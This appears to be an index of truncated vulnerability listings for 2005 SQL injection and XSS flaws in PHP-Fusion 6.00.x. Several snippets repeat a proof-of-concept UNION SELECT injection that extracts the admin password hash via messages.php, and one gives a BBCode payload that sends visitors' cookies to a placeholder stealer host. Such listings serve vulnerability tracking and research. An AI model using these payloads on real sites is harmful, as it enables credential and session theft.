CVE-2005-3159: Undefined Security Weakness

SQL injection vulnerability in messages.php in PHP-Fusion allows remote attackers to execute arbitrary SQL commands via the msgview parameter, a different vulnerability than CVE-2005-3157 and CVE-2005-3158...

CVE-2005-3157: Undefined Security Weakness

SQL injection vulnerability in messages.php in PHP-Fusion 6.00.109 allows remote attackers to execute arbitrary SQL commands via the msgsend parameter, a different vulnerability than CVE-2005-3158 and CVE-2005-3159...

CVE-2005-3158: Undefined Security Weakness

SQL injection vulnerability in messages.php in PHP-Fusion 6.00.106 and 6.00.107 allows remote attackers to execute arbitrary SQL commands via the 1 pmemailnotify and 2 pmsavesent parameters, a different vulnerability than CVE-2005-3157 and CVE-2005-3159...

CVE-2005-3161: Undefined Security Weakness

Multiple SQL injection vulnerabilities in PHP-Fusion before 6.00.110 allow remote attackers to execute arbitrary SQL commands via 1 the activate parameter in register.php and 2 the catid parameter in faq.php...

Fusionv-6.00.109.txt

PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure site: http://www.php-fusion.co.uk - if magicquotes off - SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELECT userpassword FROM fusionusers WHERE username='adminusername'/ now hash is showed i...

PHP-Fusion SQL injection and exploit

Critical Security research: http://www.critical.lt Original Advisory may be found: http://www.critical.lt/?vulnerabilities/73 Vulnerable product: PHP-Fusion = v6.00.109 Vulnerability type: SQL Injection Risk: Highly critical Developer's site: http://www.php-fusion.co.uk About: PHP-Fusion, a...

phpfusion600109.txt

PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure site: http://www.php-fusion.co.uk - if magicquotes off - SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELECT userpassword FROM fusionusers WHERE username='adminusername'/ now hash is showed i...

PHP-Fusion < 6.00.110 Multiple SQL Injection Vulnerabilities

Binary data 3245.prm...

PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure

PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure site: http://www.php-fusion.co.uk - if magicquotes off - SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELECT userpassword FROM fusionusers WHERE username='adminusername'/ now hash is showed i...

PHP-Fusion 6.00.109 (msg_send) SQL Injection Exploit

No description provided by source. php if magicquotes off - SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELECT userpassword FROM fusionusers WHERE username='adminusername'/ inserted the above for a better description /str0ke 19.17 28/09/2005 -- PhpF600109xpl.php...

PHP-Fusion 6.00.109 - msg_send SQL Injection

PHP-Fusion 6.00.109 - msgsend SQL Injection SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELECT userpassword FROM fusionusers WHERE username='adminusername'/ inserted the above for a better description /str0ke 19.17 28/09/2005 -- PhpF600109xpl.php PHP-Fusion...

PHP-Fusion 6.00.109 (msg_send) SQL Injection Exploit

Exploit for unknown platform in category web applications ==================================================== PHP-Fusion 6.00.109 msgsend SQL Injection Exploit ==================================================== SQL Injection, poc: http://target/pathtoPhpFusion/messages.php?msgsend=' UNION SELE...

PHP-Fusion < 6.00.108 BBCode Nested URL Tag XSS

According to its version number, the remote host is running a version of PHP-Fusion that reportedly does not sufficiently sanitize input passed in nested 'url' BBcode tags before using it in a post. An attacker may be able to exploit this flaw to cause arbitrary script and HTML code to be execute...

CVE-2005-2783

Cross-site scripting XSS vulnerability in PHP-Fusion 6.00.107 and earlier allows remote attackers to inject arbitrary web script or HTML via nested, malformed URL BBCode tags...

CVE-2005-2783

CVE-2005-2783 is a cross-site scripting (XSS) vulnerability in PHP-Fusion versions up to 6.00.107 (and earlier). The issue arises from insufficient sanitization of nested, malformed URL BBCode tags, allowing remote attackers to inject arbitrary script/HTML when a user views a post containing the ...

CVE-2005-2783

Cross-site scripting XSS vulnerability in PHP-Fusion 6.00.107 and earlier allows remote attackers to inject arbitrary web script or HTML via nested, malformed URL BBCode tags...

CVE-2005-2783: Undefined Security Weakness

Cross-site scripting XSS vulnerability in PHP-Fusion 6.00.107 and earlier allows remote attackers to inject arbitrary web script or HTML via nested, malformed URL BBCode tags...

phpfusionXSS2.txt

Hello we haved found a vulnerability in PHP-Fusion =v6.00.107 which allows us to steal cookies. The exploit works because of badly coded bbcode. Well here is the exploit. URL=http://aaaaaa.com/URurl=aa.com&& OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie;...

PHP-Fusion < 6.00.11 Multiple Vulnerabilities

Binary data 3194.prm...

PHP-Fusion 4.05.06.0 - BBCode URL Tag Script Injection

PHP-Fusion 4.05.06.0 - BBCode URL Tag Script Injection source: https://www.securityfocus.com/bid/14688/info PHP-Fusion is prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to...